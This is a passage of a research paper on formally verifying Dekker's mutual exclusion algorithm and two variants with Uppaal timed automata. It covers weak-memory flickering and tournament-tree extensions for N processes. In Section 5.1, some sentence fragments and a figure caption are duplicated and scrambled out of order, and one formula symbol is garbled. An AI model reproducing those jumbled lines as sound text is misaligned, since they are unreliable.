The rest of this paper is organized as follows. Section 2 highlights some basic concepts about mutual exclusion algorithms, memory constraints, and the Uppaal Timed Automata modeling language. Section 3 describes the proposed modeling and verification approach used for studying mutual exclusion algorithms. The approach is concretely applied to dive into Dekker’s solution, which is shown to be RW-safe. Section 4 is devoted to a deep property checking of two variants of Dekker’s algorithm. Section 5 proposes a tournament binary tree as a standard mutual exclusion solution for $N \geq 2$ processes, where the studied algorithms for two processes are used to arbitrate pairs of sibling processes. Section 6 compares the experimental results, which are more favorable for the Dekker-based solution. Finally, Section 7 concludes the paper with an indication of on-going and future work.
2. Background
2.1. The Concepts of a Mutual Exclusion Algorithm
A mutual exclusion algorithm (MEA) \cite{1,2,15} aims to enforce to a group of processes competing for a common shared resource that only one process is granted access to it. All of the remaining processes have to wait until the resource is finally released. After that, another competing process should be allowed to enter and use the resource, and so forth. The actions executed by a process when it is permitted to enter and use the resource are said to be its critical section (CS). Therefore, the mission of an MEA is to guarantee that only one CS can be executed at a time.
Concretely, an MEA consists of a protocol which processes have to follow when they want to access the resource (Entry-part of the protocol) and when they abandon the resource (Exit-part of the protocol). A process that is not interested in accessing the resource is said to execute its non-critical section (NCS). In the NCS, a process can remain for an arbitrary time, even an infinite time, to model the fact that the process can stop being executed in the NCS and would no longer compete to use the resource. The typical structure of a never-ending process involved in a mutual exclusion problem is shown in Algorithm 1. In the Entry-part (and sometimes also in the Exit-part), a process can undergo a busy-waiting phase (spinning and wasting processor cycles) until some shared variables change their values, causing the exiting from the busy-waiting.
The protocol of an MEA consists of wisely using a (hopefully minimal) set of shared variables. Almost always, an MEA is the happy result of a clever design that is not easy to understand, and it has to prove its correctness against the non-determinism and action interleaving that characterize the execution of a concurrent/parallel system.
Algorithm 1. The pseudo-code of a mutual exclusion algorithm.
```
shared communication variables
Process(i)
local variables
repeat
NCS;
Entry-part;
CS;
Exit-part;
forever
```
An MEA should satisfy the following properties:
(a) The absence of a deadlock: The protocol execution must not determine a fatal reciprocal lockout of the processes in any cases in which no one can prosecute. In a deadlocked state, every process awaits someone to do something that never occurs.
(b) Only one process can execute its CS at a time (the essence of mutual exclusion).
(c) The absence of individual starvation: No competing process, that is, the one executing the Entry-part of the protocol, should wait for an unbounded time before entering its CS.
(d) A process in the NCS should not impede another process from entering its CS.
(e) No hypothesis should be made on the relative speed of processes.
2.2. Memory Model Constraints
As pointed out in \cite{1,2,12} a mutual exclusion algorithm (MEA) should be robust under both the strong and weak memory models. In the strong model, the read/write operations on a memory cell (shared variable) are supposed to be atomic. Consequently, a read operation always returns the most recent value assigned to the variable. Of course, non-determinism can affect this value, which ultimately depends on the latest process which assigns a value to the variable. Under the weak model, multiple operations can occur simultaneously.
The weak model is a reality due to the diffusion of low-cost multi-processor hardware, e.g., based on multi-port memories (e.g., [13,14]). In the following, compiler and hardware optimizations that can alter the order of operations are ignored, as in [12], and two significant cases about read/write operations are considered. The first relates to one writer and multiple readers of the same variable. In this case, any reader who simultaneously reads a variable under writing receives a flickering value, which is a non-deterministic value belonging to the type of the variable. Of course, a read that precedes or follows the write operation, respectively, returns the previous value or the new value assigned to the variable. The second case refers to multiple writers who simultaneously try to change the value of the same variable. In this case, a subsequent reader can achieve a scrambled value, which is a value that is possibly not coincident with any one written by writers.
It is worth noting that many mutual exclusion algorithms depend on a set of shared communication variables where each variable is controlled by a separate process. In other words, every process writes on “its” variable, which all the remaining processes can then consult. Kessels in [18] calls these exterior variables. The use of exterior variables implies that the algorithm can be affected by flickering, which causes an increase in the non-determinism and partial order among the process actions. Scrambling can ruin the logic and properties of the algorithm and its model instead. Scrambling can be avoided by fencing the write operation, which ensures that the write operations on a shared variable occur in sequence, although they can occur in any order (see Sections 5.2 and 5.3).
2.3. Modeling Language
In this work, the Uppaal [9] Timed Automata (UTA) [10] are used as the modelling language for a formal specification of a mutual exclusion algorithm. UTA’s original mission is modeling and property assessment by performing model checking of real-time systems and, more in general, of timed systems. Clock variables control time. A clock can be reset. At any moment, a clock measures the time elapsed from its last reset. All the clocks of a model grow according to the same rate.
A UTA model is a network of instantiable processes (said template or parameterized automata) that proceed concurrently and can interact and synchronize with one another through instantaneous signals exchanged by unicast or broadcast channels. Unicast channels ensure two-way or rendezvous synchronizations: the sender (!) and the receiver (?) must be both ready for the signal to be exchanged. The first one who arrives at the synchronization point is blocked until the partner arrives. Following synchronization, both the sender and the receiver resume their concurrent execution. A broadcast channel, instead, models asynchronous or one-way communications. The sender can synchronize with zero, one, or multiple receivers which are ready to accept the signal. If no receiver is available, the sender immediately prosecutes. In other terms, the sender of a broadcast channel never blocks. Neither kind of channel synchronization carries any data/parameter. If the data are to be transmitted, they can be easily mediated by global variables.
The data of a UTA model are represented by global variables of the primitive data types int and bool. Arrays and structs of primitive types are allowed. In addition, each process can have local or private variables, which are exclusively used in the process. C-like functions are supported, which can significantly contribute to defining compact and easy-to-understand models.
The dynamic behavior of a process is an automaton made up of locations and connecting arrowed edges. An edge is marked by a guarded command constituted by three optional attributes: a guard (a logical condition based on data and/or clock constraints), synchronization (a ! or ? operation on a channel), and an update (an ordered list of variable assignments and clock resets). The update of a channel sender precedes that of a receiver. In addition, a non-deterministic selection of a value to be assigned to a variable can also be specified in a command. Guarded commands represent the atomic concurrency units of a UTA model. The evolution of a model is the result of the non-deterministic or interleaved execution of its commands.
Figure 1 shows a simple example of a command used to switch from location L1 to L2. The edge is not enabled when the clock \( x \) is less than two time units, measured from when L1 was entered. If the command is taken, a communication over the channel \( c \) is signaled, and the assignment of a value \( v \) belonging to its ordinal type (e.g., \( \text{int}[0,3] \)) is assigned to \( \text{var} \). As a matter of graphical evidence, a guard is shown in green, a synchronization is depicted in azure, the update is portrayed in blue, and a non-deterministic selection is shown in yellow.

In Figure 1, although the command is enabled, the sender remains blocked in L1 if \( c \) is a unicast channel and the receiver is not ready. If the receiver is ready, the command is not executed until the clock value is less than 2. If the receiver is ready and \( x \geq 2 \), the command can be taken but not necessarily soon, similar to transitions in classical Petri nets [20,21]. Locations L1 and L2 in Figure 1 are normal locations. A process can remain in a normal location for an arbitrary amount of time, and even for an infinite time. To constrain a process to exit from a normal location, an invariant can be added to it, as shown in Figure 2. In this case, the process can remain in L1 for five time units at most from the time the instant L1 is entered. In the situation modeled in Figure 2, after five time units, L1 must be abandoned; otherwise, a deadlock will occur. In other words, invariants (logical conditions) have to be continually satisfied for the automaton to remain in the location. The actual time taken to exit L1 in Figure 2 is any instant in the interval \([2,5]\), as measured from when L1 was entered.

Particular cases of exiting from a location occur when the location is flagged as urgent (U) or committed (C). An urgent or committed location must be abandoned without any time passage. In Figure 3, when L1 is entered, it must immediately exit; otherwise, a deadlock will occur. If \( c \) is a broadcast channel, there will be no problem in abandoning L1 immediately.

Despite the urgency, in the case when multiple processes are simultaneously in urgent locations, their exiting process obeys a non-deterministic order. Committed locations are similar to urgent ones, but the UTA recognizes committed locations with greater priority. Committed locations are always abandoned before urgent ones. Among multiple committed locations, the exiting process follows a non-deterministic order.
Another way to “accelerate” progress in a UTA model is to use urgent channels. By turning L1 in Figure 3 to a normal location and making \( c \) an urgent channel, the switch to L2 will occur as soon as the receiver of \( c \) is ready to synchronize. If \( c \) is a broadcast urgent channel, L1 will be exited immediately, independently from the readiness of any receiver. It is important to stress that the UTA will non-deterministically serve all events with the same urgency (priority).
The formal semantics of a UTA model can be given by a Timed Transition System (TTS), \( (S, s_0, \rightarrow) \), where \( S \) is a set of execution states for the model, \( s_0 \) is the initial state, and \( \rightarrow \) is a transition relation, which moves the TTS from one state to the next one. Two kinds of transitions exist: a delay and an action transition. Action transitions are instantaneous and are always executed before any delay transition. When no action transition exists to be executed at the current time, a delay transition is chosen to advance the system time of a minimal quantity \( d \). The amount of the delay \( d \) must comply with all of the model invariants, which can never be falsified. Following a delay transition, all of the clocks of the model are increased by \( d \). In a correct model, following a delay transition, some action transitions are enabled to be taken. The construction of the TTS is a fundamental part of an Uppaal model and constitutes its state graph. Each node of the state graph admits a data component and a time component (zone or firing domain). The zone component is a system of clock inequalities describing a geometrical polyhedra (e.g., [22]) of all the time instants the state can actually reach.
Queries belonging to (a subset of) the Timed Computational Tree Logic (TCTL) [9] can be issued to the Uppaal model checker (verifyta) for state graph navigation and property assessment. The hard work of the verifier involves conducting a systematic examination of all of the execution paths which originated from the initial state and are driven by non-determinism and the interleaving of the involved concurrent actions.
The following are some query examples: (a) \(! \text{deadlock} \) checks if it is always true (invariantly) that there is no deadlocked state (a typical safety property); (b) \( E <> \text{Expr} \) is satisfied if (existentially) at least one state can be reached where \( \text{Expr} \) is fulfilled (a liveness property). An expression can include a state predicate (a process is found in a given location) and/or a data/clock predicate. A particular query is built with the leads-to operator \( \rightarrow > \): \( \text{Expr1} \rightarrow > \text{Expr2} \), which aims to assess whether it always follows (inevitably) that a subsequent state is reached where \( \text{Expr2} \) is satisfied when starting from a state where \( \text{Expr1} \) holds. The \( sup \) or \( inf \) queries, e.g., \( sup\{expression\} : \text{var} \), are also useful as they can be issued to find the maximum (respectively the minimum) value of a clock or data variable in the states of the state graph where the \( expression \) holds. The reader can refer to the Uppaal documentation [9] for further details.
3. Modeling and Verification Approach
A mutual exclusion algorithm (see Algorithm 1) can be modeled in Uppaal according to the following points:
(a) Each process is an instance of a basic Process (const pid i) parameterized automaton, where pid is the type of the process identifiers and i is the unique id of the process instance.
(b) Elementary actions in the Entry/Exit parts (see Algorithm 1) are assumed to consume no time and are modeled by commands exiting from urgent locations.
(c) Busy-waiting actions in the Entry/Exit parts are mapped onto normal locations from which the exit is commanded as soon as the busy-waiting condition ceases to hold. To force an immediate exit from the busy-waiting location, an urgent and broadcast channel (\text{synch}) is used, whose signal is sent, but it is not received by any other process.
(d) The non-critical section (NCS in Algorithm 1) is represented by a normal location with a spontaneous exit (i.e., with a void guarded command). This way, the NCS can be abandoned after an arbitrary dwell time. An infinite dwell time models the process that stops being executed and will no longer compete to access the shared resource.
(e) The critical section (CS in Algorithm 1) is expressed by a normal location, which is abandoned after exactly one time unit has elapsed. Time-sensitive behavior is achieved by associating one clock per process instance, which is reset at the entrance to the CS. The invariant of the CS location is \( x[i] <= 1 \), and the guard for exiting CS is \( x[i] >= 1 \).
(f) The repeat-forever loop of Algorithm 1 is achieved by re-entering the NCS location after exiting the CS location. Before entering the NCS, all the Exit-part actions must be executed.
The above-proposed modeling schema permits the modeler to investigate all the (safety and liveness) properties of the mutual exclusion algorithm through model checking. In particular, the so-called overtaking factor (ov) can be observed by quantifying the maximum (suprema) number of critical sections that a competing process must suffer before it obtains the grant to enter its critical section. Since all the process instances are identical, any process can be chosen as the target process (tp), and the ov can be measured by monitoring the value of the clock \(x[tp]\) just before entering the CS.
The modeling approach can be best understood through a practical example. Below, the original Dekker’s algorithm for \(N = 2\) processes [15], numbered 1 and 2, is considered and then modeled into Uppaal. The algorithm logic is expressed in pseudo-code in Algorithm 2. The following global shared variables are used:
```plaintext
bool flag[N]; // all false initially by default;
pid turn; // initial value is immaterial.
```
**Algorithm 2.** Pseudo-code for Dekker’s mutual exclusion for two processes.
```plaintext
Process(i):
local pid j = 3−i; // partner process
repeat
NCS // Entry-part
flag[i] = true;
while(flag[i]){
if(turn == j)
flag[i] = false;
await(turn ! = j); // busy-waiting/spin-lock
flag[i] = true;
}
CS // Exit-part
turn = j;
flag[i] = false;
forever
```
Process \(i\) writes on its global variable \(flag[i]\), which is then checked by the partner process, \(j = 3 – i\). The turn variable is only written by the process which exits its critical section and possibly checked by the partner. Therefore, the variables \(flag[1]\) and \(flag[2]\) and the turn are exterior variables [18]. Variable turn cannot suffer from scrambling because it is written by one process only. The following are the global declarations of the Uppaal model corresponding to Algorithm 2:
```plaintext
const int N = 2;
typedef int[1,N] pid;
bool flag[pid]; // all false initially by default;
pid turn; // default initialization;
urgent broadcast chan synch;
clock x[pid]; // one clock per process instance.
```
Some further global declarations are related to the chosen target process used for monitoring the overtaking factor:
```plaintext
const pid tp = 1; // target process;
void reset(const pid i){
if(i == tp) x[tp] = 0;
} // reset.
```
Figure 4 reports the Uppaal model of Dekker’s algorithm according to the strong memory model. Location C is a choice point. BW is the busy-waiting location. The
condition for exiting BW occurs when the turn variable has a value that is different from the partner process, j, that is, when the turn is found to be equal to the current process, i. In choice point C, if the partner is not interested in the CS (\(\text{flag}[j] = \text{false}\)), the current process enters its CS. When it exits the CS, the first turn is assigned to the partner, and then the process releases its current interest to the CS.

**Figure 4.** The Uppaal model for Dekker’s algorithm for two processes.
The model in Figure 4 has a zeno-cycle [23], which occurs when the partner process j has issued its interest in accessing the resource, and the turn is assigned to the current process. The current process i cycles continually (even an infinite number of times and in zero time units) around C. As a side benefit provided by the use of Uppaal, a model like that shown in Figure 4 can be inspected in animation using a symbolic simulator [9]. Figure 5 shows a snapshot witnessing the zeno-cycle. The animation can also be exploited to study a diagnostic trace of events that brings the model into a particular state, e.g., an unexpected state (see later in this paper). Thus, the symbolic simulator can help to understand the logical behavior of a mutual exclusion algorithm, which can intrinsically be challenging to master from its pseudo-code (see Algorithm 2) due to non-determinism and the partial order of concurrency.

**Figure 5.** A snapshot of Dekker’s solution in the Uppaal symbolic simulator.
Table 1 reports some basic TCTL queries and their answers, demonstrating that Dekker’s model is a correct mutual exclusion algorithm (see also Section 2.1).
Table 1. TCTL queries checking the correctness of Dekker’s mutual exclusion model.
<table>
<thead>
<tr>
<th>#</th>
<th>Query</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>$A[\neg \text{deadlock}]$</td>
<td>satisfied</td>
</tr>
<tr>
<td>2</td>
<td>$A[\text{sum}(i:\text{pid})\text{Process}(i).\text{CS} <= 1]$</td>
<td>satisfied</td>
</tr>
<tr>
<td>3</td>
<td>$E<> \text{Process}(1).\text{CS}$</td>
<td>satisfied</td>
</tr>
<tr>
<td>4</td>
<td>$E<> \text{Process}(2).\text{CS}$</td>
<td>satisfied</td>
</tr>
<tr>
<td>5</td>
<td>$E<> \text{Process}(1).\text{NCS} && \text{Process}(2).\text{CS}$</td>
<td>satisfied</td>
</tr>
<tr>
<td>6</td>
<td>$\text{Process}(1).\text{C} -> \text{Process}(1).\text{CS}$</td>
<td>not satisfied</td>
</tr>
<tr>
<td>7</td>
<td>$\text{Process}(1).\text{BW} -> \text{Process}(1).\text{CS}$</td>
<td>not satisfied</td>
</tr>
<tr>
<td>8</td>
<td>$\sup{ \text{Process}(tp).\text{C} : x[tp] \leq 1}$</td>
<td>1</td>
</tr>
</tbody>
</table>
Query 2 simultaneously ensures that the number of processes in CS is always less than or equal to 1, which is the fundamental property of a mutual exclusion algorithm (see point (b) in Section 2.1). Queries 3 and 4 guarantee that each process can effectively enter its CS (liveness property). Query 5 states that a process in NCS does not forbid the partner from entering its critical section (point d) in Section 2.1). Queries 6 and 7 check that a process in the C or BW location eventually enters the CS (liveness or progress property). Both queries are not satisfied because of the model’s zeno-cycle. Finally, query 8 checks the maximal time (number of executed critical sections) which elapses before the target process enters its CS. This query furnishes the bound to the overtaking factor ($\text{ov}$), which is just 1 (a competing process only has to wait one turn). It should be noted that since the prediction is based on time, the zeno-cycle existing in the model (and in the algorithm in Algorithm 2) has no consequence.
As a final remark, it is worth noting that the arbitrary time spent by a process in the NCS location does not interfere with the computation of the overtaking bound. In fact, the worst-case scenario occurs when a process remains in the NCS by a zero-time duration. In this case, the process is immediately ready to start a new competition and then contributes to the definition of the bound. Any other duration in the NCS can only favor the partner process for reaching its CS.
Checking the Dekker’s Solution on a Weak Memory
Figure 6 shows Dekker’s model shown in Figure 4, which was adapted for assessing the RW safeness.

For the reasons discussed in Section 3, the new model only considers the effects of flickering. Flickering is modeled by anticipating each change to flag[1], flag[2], and the turn by an assignment, which temporarily sets the variable to a non-deterministically value selected in the variable data type, which is int[0,1] for a flag[] bool variable (0 is false, 1 is true) and pid for a turn. These provisions make it possible in non-determinism for a process to effectively read the flickered value of a variable instead of the correct value that is subsequently assigned.
Despite the flickering, the new model in Figure 6 responds to all of the queries reported in Table 1 in the exact manner as the original model in Figure 4. All of this confirms, differently from [12], that Dekker’s solution to the mutual exclusion model is effectively RW-safe.
4. Analysis of Dekker’s Variants
The following considers two variants of Dekker’s algorithm. The first one was proposed by Doran and Thomas (DT) in [16], which simplified Dekker’s solution by making it loop-free, except for the busy-waiting cycles. The second one was designed by Buhr, Dice, and Hesselink (BDH) [12]. Both variants were studied in [12] using invariants and the UNITY logic. As a result, the DT variant was deemed to be RW-unsafe, whereas the BDH was found to be RW-safe. The DT and BDH algorithms were modeled and carefully verified using the Uppaal-based approach described in Section 3.
4.1. Doran and Thomas’s Variant
Algorithm 3 illustrates this variant in pseudo-code, which relies on the same shared communication variables in Dekker’s algorithm (see Section 3).
<table>
<thead>
<tr>
<th>Algorithm 3. The Doran and Thomas variant of the Dekker’s algorithm.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process(i):</td>
</tr>
<tr>
<td>local pid j = 3−i; //partner process</td>
</tr>
<tr>
<td>repeat</td>
</tr>
<tr>
<td>NCS</td>
</tr>
<tr>
<td>//Entry-part</td>
</tr>
<tr>
<td>flag[i] = true;</td>
</tr>
<tr>
<td>if(flag[j]) {</td>
</tr>
<tr>
<td>if(turn ! = i)</td>
</tr>
<tr>
<td>flag[i] = false;</td>
</tr>
<tr>
<td>await(turn == i); //1st busy-waiting</td>
</tr>
<tr>
<td>flag[i] = true;</td>
</tr>
<tr>
<td>}</td>
</tr>
<tr>
<td>await(!flag[j]); //2nd busy-waiting</td>
</tr>
<tr>
<td>}</td>
</tr>
<tr>
<td>CS</td>
</tr>
<tr>
<td>//Exit-part</td>
</tr>
<tr>
<td>turn = j;</td>
</tr>
<tr>
<td>flag[i] = false;</td>
</tr>
<tr>
<td>forever</td>
</tr>
</tbody>
</table>
Figure 7 shows the Uppaal model corresponding to Algorithm 3 when the read and write operations are supposed to be atomic.
The more elegant solution of the model in Figure 7 was exhaustively model-checked using the same queries (with some obvious adaptations because there are now two busy-waiting locations) in Table 1. All of the fundamental queries were found to be satisfied. In particular, e.g., the target process in BW1 or BW2 eventually reaches its critical section, and it is now satisfied. This fact mirrors the absence, in this variant, of the zeno-cycle observed in Dekker’s solution. As another difference, the overtaking bound measured from BW2 was found to be 2. To justify this non-intuitive result, the following query was issued to the model checker in a quest to generate a diagnostic trace as follows:
E<> Process(tp).BW2 && x[tp] == 2
A careful inspection of the generated trace in the symbolic simulator made it possible to observe the following sequence of events: “A first CS of the partner process is executed while the target process is in its BW1 (and has lowered its flag). After exiting the CS, the partner gives the turn to the target process but, for non-determinism (exiting from BW1 by the target process and reaching NCS by the partner are equally urgent and can occur in any order), the partner reaches NCS and exits it in zero time thus entering again its CS. Due to the time-sensitive CS of the partner, now the target process is forced to abandon BW1, set to true its flag thus reaching BW2. After this, when the partner process exits its 2nd CS, and again decides to compete, it will find the flag of the target process to true and thus necessarily it moves to its BW1 (by first changing its flag to false), whereas the target process certainly now exits its BW2 and enters its CS”.

**Figure 7.** The Uppaal model corresponding to the Doran and Thomas (DT) algorithm of Algorithm 3.
The next step was studying the DT variant under the weak memory model. The adapted model is reported in Figure 8. The model checking work confirmed that the new model satisfies exactly the same queries as the basic model shown in Figure 7. Then, the new model with flickering confirmed that the DT variant is RW-safe, which is different from what is indicated in [12].

**Figure 8.** The DT variant model with flickering.
### 4.2. Buhr, Dice, and Hesselink’s Variant
Algorithm 4 reproduces the Buhr, Dice, and Hesselink (BDH) variant in pseudo-code. The Entry-part is realized in a nested loop, which can be interrupted by a `break` instruction. Each time the inner loop is broken, the CS enters.
Algorithm 4. The Buhr, Dice, and Hesselink variant of Dekker’s algorithm.
```
Process(i):
local pid j = 3−i; // partner process
repeat
NCS
repeat // Entry-part
flag[i] = true;
if(!flag[j]) break;
if(turn == i){
await(!flag[j]; // 1st busy-waiting
break;
}
flag[i] = false;
await turn == i; // 2nd busy-waiting
forever
CS
// Exit-part
turn = j;
flag[i] = false;
forever
```
Figure 9 depicts the Uppaal model of the BDH variant. The model satisfies, as for the DT variant, all of the mutual exclusion queries, including the liveness queries based on the leads-to: from C, BW1, or BW2, it is always guaranteed that the process eventually reaches the CS, which, in turn, excludes the existence, as for the DT variant, of an internal zeno-cycle.
Figure 9. The Uppaal model corresponding to the Buhr, Dice, and Hesselink (BDH) algorithm of Algorithm 4.
Figure 10 shows the BDH model when flickering is considered. It exhibits exactly the same behavior and properties as the basic model with atomic read/write.
In light of the carried analysis work, it was found that both proposed variants only improve the basic Dekker’s mutual exclusion algorithm by eliminating the internal zeno-cycle. From the point of view of the overtaking bound, both the DT and the BDH algorithms have a worst-case bound of 2 instead of 1, as exhibited by Dekker’s solution. Moreover, all three algorithms proved to be RW-safe, that is, they all are resilient to flickering.
5. Embedding Algorithms in a Tournament Tree
All three algorithms studied in the preceding sections were extended to the more general and challenging case of \( N \geq 2 \) processes by using a tournament tree (TT) [17–19]. The use of tournament trees is often advocated as an efficient yet standard solution for managing \( N > 2 \) processes [11].
A binary tree is used here, where the arriving processes occupy the leaves of the latest level given by \( \lceil \log_2 N \rceil \). All of the intermediate nodes, including the root one, play the role of arbitration loci for (maximum) two sibling processes. Each arbitration is regulated by a mutual exclusion algorithm for two processes, which can be the basic Dekker’s solution or the DT or BDH variants that were previously investigated. The winner of an arbitration moves to and occupies the father node and can thus attend a new arbitration with a new sibling. The process that first arrives at the root wins and enters its critical section. At the exit from the critical section, the path followed by the winner process is traversed in the opposite direction to reset all of the previously occupied nodes. Such resets can unblock waiting processes, which can resume their upward movement in the TT. The releasing process then reaches its NCS position from which a new competition can, possibly, recommence by using the same leaf node assigned to the specific process. Multiple and concurrent arbitrations can occur in the TT at a given time.
The global shared communication variables are two arrays: bool flag[] and int turn[]. There is a flag for each node in the TT, and there is a turn for each intermediate node, including the root, with each one serving a distinct arbitration. These arrays are supposed to be initialized with their default values, that is, false for a flag and 1 for a turn.
The TT is linearized into the same array that is usually employed to support the heap sort. Slot 1 corresponds to the root node (level 0). Then, indexes 2 and 3 host the nodes of level 1 and so forth. The last level is at the end of the array. Two processes occupying the positions \( j \) and \( k \) are siblings if they share the same ancestor node (i.e., \( j/2 = k/2 \)). The adopted organization makes it possible for a process to not have a sibling at a given node (e.g., a leaf). In this case, the arbitration immediately ends with the process moving up in the TT. As processes move along a path toward the root, arbitrations always tend to have two siblings.
5.1. Tournament Tree Based on Dekker’s Algorithm
Figure 11 shows the Uppaal model of the generic Process(i) in the context of a TT solution, which depends on Dekker’s algorithm for two processes.
Figure 10. The BDH variant model with flickering.
worst-case of process arrivals was studied by making the NCS an urgent location. This
where the process reaches D2CS, the turn of the ancestor node (turn\[j/2\]) is first assigned to
which denotes the critical section of the arbitration. Of course, in the context of the TT, this
part of the model realizes a loop that finishes when j becomes 1 (root index). To minimize
the values of the resultant overtaking bound
Figure 11. The tournament tree model for N > 2 processes, which is based on Dekker’s algorithm for
2 processes.
At its arrival (exiting from the NCS location), the process identifies its leaf position j. Then, flag\[j\] is set to true to witness that the node is occupied by the process i. The main
part of the model realizes a loop that finishes when j becomes 1 (root index). To minimize
the number of local variables and thus reduce the memory footprint required by the state
graph used by the model checker, the sibling’s identity is computed “on-the-fly” using the s() function. As shown in Figure 11, a process can participate in its current arbitration
provided that the ancestor node is not yet occupied (i.e., flag\[j/2\] is false). If the arbitration
is open and the process does not have a sibling, it immediately moves to the D2CS location,
which denotes the critical section of the arbitration. Of course, in the context of the TT, this
location can be urgent because the duration of one time unit will be spent in the critical
section (see the CS location in Figure 11) of the whole TT. If both the siblings exist and
the partner has not expressed its interest in the local critical section (flag[s()] is false), the
process in node j moves directly to D2CS. Otherwise (see the right part of the location C of
Figure 11), the normal behavior of Dekker’s algorithm can easily be retrieved. In the case
where the process reaches D2CS, the turn of the ancestor node (turn\[j/2\]) is first assigned to
the sibling, and then the process moves (i = j/2) and occupies the ancestor node by setting
the flag\[j/2\] to true.
From L, the loop location is reached if a new iteration is needed (j! = 1), and the story
repeats. When j becomes 1, the CS is entered, and the clock x[i] is reset. After one time
unit, the CS exits and the traversed path is visited in the opposite direction by assigning
false to all of the flag[] slots of the nodes that were previously occupied, including the leaf
node. The L location is the natural point for measuring the overtaking bound suffered by
the adopted target process (tp).
Model checking the model in Figure 11 confirmed that all of the basic mutual exclusion
queries are satisfied. Only the following liveness/progress query is not satisfied due to the
internal zeno-cycle existing around the C location:
Process(1).loop --> Process(1).CS
The overtaking bound was assessed through the following query:
sup{ Process(tp).L : x[tp] }
Since the bound is independent of the dwell time a process spends in the NCS, the
worst-case of process arrivals was studied by making the NCS an urgent location. This
provision allowed us to model check the model for N ranging from 2 to 8. Table 2 collects
the values of the resultant overtaking bound ov.
Table 2. Overtaking bound $ov$ vs. $N$ for the tournament-based model in Figure 11.
<table>
<thead>
<tr>
<th>$N$</th>
<th>$ov$</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>3</td>
<td>3</td>
</tr>
<tr>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>5</td>
<td>7</td>
</tr>
<tr>
<td>6</td>
<td>7</td>
</tr>
<tr>
<td>7</td>
<td>7</td>
</tr>
<tr>
<td>8</td>
<td>7</td>
</tr>
</tbody>
</table>
The dependency rule, $ov = 2^\lceil \log_2 N \rceil - 1$, is clearly shown in Table 2, which implies that there is a linear trend of $ov = N - 1$ when the tournament tree is perfectly balanced (all the leaves of the last level of the tree are occupied). To give an idea of the execution performance, the $sup$ query when $N = 8$ terminates after 886 sec with a RAM memory usage of about 13 GB. All of the experimental runs were carried out on a Win11 Pro desktop platform, Dell XPS 8940, Intel i7-10700 (8 physical cores), CPU@2.90 GHz, with 32 GB RAM using the Uppaal tool version 64-4.1.26-2, 64 bit.
The same behavior was retrieved by model checking the model in Figure 11, which was adapted to weak memory by flickering (see Figure 12). The adapted model, though, witnessed an execution degradation due to the higher degree of non-determinism introduced by the flickering operations. In particular, the exhaustive verification cannot go over $N > 5$. For $N = 5$, the query that checks for the absence of deadlocks terminates after 325 sec with a memory usage of 5 GB.
Figure 12. The Uppaal model of Dekker’s algorithm in Figure 11 adapted to work with a weak memory.
5.2. Tournament Tree Based on Doran and Thomas Variant Algorithm
Figure 13 depicts the Uppaal model of the tournament-based algorithm for $N \geq 2$ processes, which embeds the Doran and Thomas (DT) variant of Dekker’s algorithm.
Figure 13. The tournament tree model for $N \geq 2$ processes based on the Doran and Thomas variant of Dekker’s solution for 2 processes.
With respect to the model in Figure 11, the necessity of initializing the turn variable of the ancestor node ($\text{turn}[j/2]$), e.g., by assigning it to the sibling process, should be noted. The remaining details can easily be retraceable according to the DT algorithm. The model in Figure 13 was found to be correct from the point of view of mutual exclusion basic properties. However, the overtaking factor emerged to be unbounded [12]. Figure 14 shows the adapted model used for working with a weak memory, which was confirmed to show the exact same behavior observed in the model in Figure 13.
Figure 14. The Uppaal model of the Doran and Thomas variant shown in Figure 13 adapted to work with a weak memory.
5.3. Tournament Tree Based on Buhr, Dice, and Hesselink Variant Algorithm
For completeness, Figure 15 shows the tournament-based model, which embeds the Buhr, Dice, and Hesselink algorithm for two processes.
Similarly to the model in Figure 13, before engaging arbitration, the new model also initializes the turn variable of the ancestor node provided that the node is not already occupied. Figure 16 portrays the adapted Uppaal model used for working with a weak memory and flickering. The two models fulfill the basic mutual exclusion properties, although with an unbounded overtaking.
A key point of both the models in Figures 13 and 15 is the necessity of fencing (see the location named fence in Figures 14 and 16) in the write operation, which initializes


the turn variable of the ancestor node. This requirement originates from the fact that such initialization could be scrambled by the two sibling processes, which could simultaneously execute the write operation. Fencing has to be ensured by some hardware control mechanism. In Uppaal models, fencing is automatically ensured because the write operations are necessarily executed one after the other in any order. In contrast, no fencing is required by the tournament-based model, which embodies Dekker’s mutual exclusion algorithm (see Figure 11).
6. Summary of the Results
The carried model checking work provided some important information about the correctness assessment of Dekker’s mutual exclusion algorithm for two processes and its variants proposed by Doran and Thomas in [16] and by Buhr, Dice, and Hesselink in [12] with the goal of improving Dekker’s solution. It emerged that all three basic algorithms are correct and RW-safe. The only difference brought on by the two variants with respect to Dekker’s algorithm is the elimination of an internal zeno-cycle that physically cannot possibly exist since actions have a non-zero duration in a practical case. In addition, the overtaking bound was found to be 1 for Dekker’s solution and 2 in both the proposed variants.
Another set of interesting results emerged by separately using the three algorithms as the arbitration strategy in a tournament-based, standard, and efficient mutual exclusion scenario capable of handling $N \geq 2$ processes. Here, the three tournament implementations were also found to be both logically correct and RW-safe, but with more positive aspects on the side of the Dekker-based realization. In fact, this implementation was more scalable than the other two when the strong memory model was used as it enabled its model checking until $N = 8$. Moreover, and most importantly, the overtaking factor for the Dekker-based realization emerged to be bounded and equal to $\sigma_v = 2^{\lceil \log_2 N \rceil} - 1$, whereas in the other two cases, it was unbounded. Finally, adapting tournament-based solutions to work with a weak memory only requires managing the flickering, which occurs when one or more read operations are issued concurrently with a write operation for the Dekker-based solution, but it also requires fencing a write operation in the other two cases to avoid scrambling the value generated by simultaneous write operations.
7. Conclusions
This paper proposes a modeling and verification approach for a careful study of mutual exclusion algorithms for $N \geq 2$ processes by model checking. The approach is based on the Uppaal toolbox [9] and its timed automata [10], a very flexible modeling language. Uppaal is well known to be a mature yet powerful tool for the formal specification and exhaustive model checking of real-time and distributed systems. This novel approach is concretely applied for a thorough investigation of Dekker’s mutual exclusion algorithm for two processes [15] and some of its variants proposed in the literature to improve the behavior of Dekker’s solution. This paper analyzes the algorithms both in the context of the strong memory model with atomic read/write operations on memory cells and with the weak memory model [1,2,12], where multiple read/write operations can occur simultaneously on the same memory cell.
